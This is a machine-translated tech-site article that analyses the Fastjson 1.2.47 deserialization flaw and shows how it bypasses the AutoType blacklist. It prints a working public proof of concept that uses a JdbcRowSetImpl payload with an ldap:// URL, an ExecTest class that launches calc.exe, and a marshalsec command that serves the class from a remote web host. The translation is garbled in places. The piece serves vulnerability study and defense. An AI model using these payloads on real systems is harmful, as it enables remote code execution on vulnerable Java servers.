Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

The causes of the vulnerabilities in Fastjson version 1.2.47 and how to exploit them

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article will explain in detail the causes of the loopholes in Fastjson 1.2.47 and how they are used. The content of the article is of high quality, so the editor will share it for you as a reference. I hope you will have some understanding of the relevant knowledge after reading this article.

Preface

This time, we will introduce the causes of the vulnerability in Fastjson version 1.2.47 and how to exploit it.

Vulnerability Analysis of Fastjson 1.2.47

The Fastjson version 1.2.47 vulnerability is quite different in principle from several vulnerabilities described in the previous article. Unlike most vulnerabilities in Fastjson history, Fastjson version 1.2.47 is exploited when the AutoTypeSupport feature is not turned on

First, let's take a look at the public poc.

Public class demo {public static void main (String [] args) {String payload = "{\" a\ ": {\" @ type\ ":\" java.lang.Class\ ",\" val\ ":\" com.sun.rowset.JdbcRowSetImpl\ "}," + "\" b\ ": {@ type\":\ "com.sun.rowset.JdbcRowSetImpl\",\ "dataSourceName\":\ "ldap://localhost:1389/ExecTest\",\ "autoCommit\": true}} " Object obj = JSON.parseObject (payload); System.out.println (obj);}}

As you can see from the code, unlike the previous use, two json strings are constructed in this poc

1. "a": {"\ @ type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"} 2, "b": {"\ @ type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/ExecTest", "autoCommit": true}

To figure out the meaning of this construction, let's dynamically debug this vulnerability.

The program parses the first json string first

"a": {"\ @ type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"} parsing process

Let's skip part of the FastJson parsing process and look directly at the operation of the checkAutoType security module. Check the\ @ type field in this string

In the checkAutoType security module located in com/alibaba/fastjson/parser/ParserConfig.java, the program first enters this branch. The program calls getClassFromMapping to parse typeName. TypeName is the value of @ type in the string. In the first json string, this value is "java.lang.Class".

We follow the getClassFromMapping in com/alibaba/fastjson/util/TypeUtils.java

As can be seen from the code in the figure above, the program wants to look for the element with the key name "java.lang.Class" in mappings and return the corresponding key value. It is worth mentioning that mappings collections and buckets collections, which will be discussed later, are crucial to this vulnerability, both of which are the core factors of this vulnerability.

Mappings collection

What is the data stored in mappings? After debugging, we can find that the data form is shown in the following figure.

As you can see from the image above, a string of class names and corresponding class objects are stored in mappings. But where does the data in mappings come from?

After debugging, it is found that the data stored in mappings is added by the addBaseClassMappings method located in com/alibaba/fastjson/util/TypeUtils.java.

It can be inferred from the data in the Mapping collection that Mapping is used to store some basic Class in order to improve efficiency when deserializing these basic classes

After figuring out the origin of the mappings list, get back to the point. The typeName we constructed (the "java.lang.Class" specified by @ type) is not in the key of Mappings. So the getClassFromMapping method returns null, and the program continues to execute down to the next if branch. The program then calls deserializers.findClass to parse the incoming typeName.

We follow the findClass method at com/alibaba/fastjson/util/IdentityHashMap.java for further analysis.

As you can see from the code in the figure above, the program iterates through the buckets, takes the name of the key attribute value of the element and compares it with the passed "java.lang.Class". If the two are the same, the Class object is returned.

Buckets collection

Now we're going to talk about buckets collections. What elements are stored in buckets? See the picture below

In the image above, we expand a buckets collection of elements to show. The same question as the Mapping collection arises: what are the elements in buckets and where do they come from? After debugging, we found the answer in the next three pictures.

According to the FastJson author's comments on the buckets collection, buckets is an IdentityHashMap for concurrency.

Going back to the findClass method in the debugging process, the typeName we constructed (the "java.lang.Class" specified by @ type) is matched by the findClass method, so the java.lang.Class class object is returned

After the findClass execution is complete, the java. Lang. Class object is returned to the checkAutoType and assigned to the clazz,checkAutoType method will also return the clazz at line 963.

Looking back at the Mapping and buckets collections above, why would Fastjson match the strings specified in the\ @ type field passed in by the user in these two collections?

The Mapping collection is used to store the basic Class. If the string passed in the\ @ type field corresponds to the underlying Class, the program directly finds its class object and returns its class object, thus skipping the subsequent verification process of checkAutoType. Buckets collections are used for concurrent operations.

However, no matter what the actual effect of Mapping collection and buckets collection is, checkAutoType will directly return its corresponding Class if the value of the\ @ type field passed by the user is in either of the two collections, and the program uses JSON.parseObject (payload); this parses the string (to ensure that expectClass is empty to prevent it from entering the if branch of line 957 above).

After checkAutoType returns clazz, the program will execute the following code in com/alibaba/fastjson/parser/DefaultJSONParser.java

As can be seen from the first red box in the image above, after checkAutoType returns the @ type value passed in by the user, the program assigns the clazz variable at line 316 above, and the deserialze method at line 384 above processes the clazz variable immediately.

Follow into the deserialze method located in com/alibaba/fastjson/serializer/MiscCodec.java

Public T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) {JSONLexer lexer = parser.lexer; ⋮if (lexer.token () = = JSONToken.LITERAL_STRING) {if (! "val" .equals (lexer.stringVal () {throw new JSONException ("syntax error");} lexer.nextToken ();} else {throw new JSONException ("syntax error");} parser.accept (JSONToken.COLON); objVal = parser.parse (); parser.accept (JSONToken.RBRACE); ⋮if (objVal = null) {strVal = null } else if (objVal instanceof String) {strVal = (String) objVal;} ⋮if (clazz = = Class.class) {return (T) TypeUtils.loadClass (strVal, parser.getConfig (). GetDefaultClassLoader ());}

The clazz variable in deserialze is the "java.lang.Class" returned after the verification of the checkAutoType security module, and the value of the fieldName variable is the first parsed json field name "a".

In the deserialze method, the code block constructed with this vulnerability and poc mainly has three parts, which are:

Take the vale value from the json string

If (lexer.token () = = JSONToken.LITERAL_STRING) {if (! "val" .equals (lexer.stringVal () {throw new JSONException ("syntax error");} lexer.nextToken ();} else {throw new JSONException ("syntax error");} parser.accept (JSONToken.COLON); objVal = parser.parse (); parser.accept (JSONToken.RBRACE)

In this code, the program determines whether there is a "val" in the incoming json string and assigns its value to the objVal variable through the code at the first red box in the figure below.

Convert the value of the objVal variable to the String type and assign the strVal variable

If (objVal = = null) {strVal = null;} else if (objVal instanceof String) {strVal = (String) objVal;}

This code connects with the previous paragraph, and the value of the objVal variable is passed to the second red box in the figure below. When the strVal variable determines that objVal is not empty and is an instance of String class, it converts it to String type and assigns a value to strVal

Call TypeUtils.loadClass to handle the value of valu

If (clazz = = Class.class) {return (T) TypeUtils.loadClass (strVal, parser.getConfig (). GetDefaultClassLoader ());}

When this code is used, when the clazz variable passed in is the class object of Class, TypeUtils.loadClass is called to handle the strVal (that is, the val value in the json string)

After analyzing the processing flow of the deserialze method, we look back at the vale value constructed in poc, as shown in the red box below

What is constructed in poc is the com.sun.rowset.JdbcRowSetImpl string, which is the class that can be exploited in past exploits. However, according to the previous analysis, since the improvement of the blacklist mechanism, this class can no longer be directly exploited. How on earth can this loophole make this class bypass the blacklist and bring it back to life? Let's continue to look down at the operations in TypeUtils.loadClass and continue to follow the loadClass at com/alibaba/fastjson/util/TypeUtils.java

Public static Class loadClass (String className, ClassLoader classLoader, boolean cache) {if (className = = null | | className.length () = 0) {return null;} Class clazz = mappings.get (className); if (clazz! = null) {return clazz;} if (className.charAt (0) = ='[') {Class componentType = loadClass (className.substring (1), classLoader); return Array.newInstance (componentType, 0). GetClass ();} if (className.startsWith ("L") & className.endsWith (" ") {String newClassName = className.substring (1, className.length ()-1); return loadClass (newClassName, classLoader);} try {if (classLoader! = null) {clazz = classLoader.loadClass (className); if (cache) {mappings.put (className, clazz);} return clazz;}} catch (Throwable e) {e.printStackTrace (); / / skip} try {ClassLoader contextClassLoader = Thread.currentThread (). GetContextClassLoader (); if (contextClassLoader! = null & & contextClassLoader! = classLoader) {clazz = contextClassLoader.loadClass (className) If (cache) {mappings.put (className, clazz);} return clazz;}} catch (Throwable e) {/ / skip}

A parameter received by loadClass: "className" is a variable of type String. According to the above call relationship, the string "com.sun.rowset.JdbcRowSetImpl" is passed here, that is, the value of the className parameter is "com.sun.rowset.JdbcRowSetImpl".

By analyzing the loadClass method code, you can find the following code

Try {ClassLoader contextClassLoader = Thread.currentThread (). GetContextClassLoader (); if (contextClassLoader! = null & & contextClassLoader! = classLoader) {clazz = contextClassLoader.loadClass (className); if (cache) {mappings.put (className, clazz);} return clazz;}}

In this code snippet, the program gets the com.sun.rowset.JdbcRowSetImpl class object from the string type className variable ("com.sun.rowset.JdbcRowSetImpl") through the contextClassLoader.loadClass (className); method, and assigns a value to the clazz variable. At this time, the form of className and clazz variables is as follows

Then, the program judges the case of cache variables: when cache is true, add className and clazz key-value pairs to the mappings collection (cache defaults to true).

After dynamic debugging, we can find that through a series of operations above, our malicious class com.sun.rowset.JdbcRowSetImpl has indeed been added to the Mappings collection, as shown in the following figure

After our first json string parsing is complete, the program then parses our second json string

"b": {"\ @ type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/ExecTest", "autoCommit": true} parsing process

It is exactly the same as the first json string parsing process, and the program is also executed in the following figure.

Because there is an element with the key name com.sun.rowset.JdbcRowSetImpl in the Mapping this time, clazz is assigned to the com.sun.rowset.JdbcRowSetImpl class object

As you can see from the following two pictures, the above process is exactly the same at this time, except that the com.sun.rowset.JdbcRowSetImpl class object is returned this time.

The com.sun.rowset.JdbcRowSetImpl malicious class is returned smoothly, but the checkAutoType blacklist and whitelist verification mechanism is not triggered in the whole operation process. The com.sun.rowset.JdbcRowSetImpl malicious class is then deserialized, triggering the use of

Vulnerability exploitation

To confirm the vulnerability, we first deployed ExecTest.class on the 80-port web service on the 192.167.30.116 server. The contents of ExecTest.java are as follows

Javaimport javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class ExecTest implements ObjectFactory {@ Overridepublic Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable environment) {exec ("xterm"); return null;} public static String exec (String cmd) {try {Runtime.getRuntime (). Exec ("calc.exe");} catch (IOException e) {e.printStackTrace ();} return "" } public static void main (String [] args) {exec ("123");}}

Use marshalsec to start the ladp service and listen on port 1389

Java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.167.30.116/java/#ExecTest" 1389

After the execution of the demo program, the calculator pops up successfully

The vulnerability in Fastjson version 1.2.47 is different from most vulnerabilities in Fastjson history. Compared with the independent faction, this vulnerability is more complex and subtle than those that have been bypassed by patches in the past. 1.2.47 version of the vulnerability involves some knowledge of Fastjson mechanism classes, through the analysis of this vulnerability, we can better understand the FastJson framework.

About Fastjson 1.2.47 version of the causes of vulnerabilities and what is the use of what is shared here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report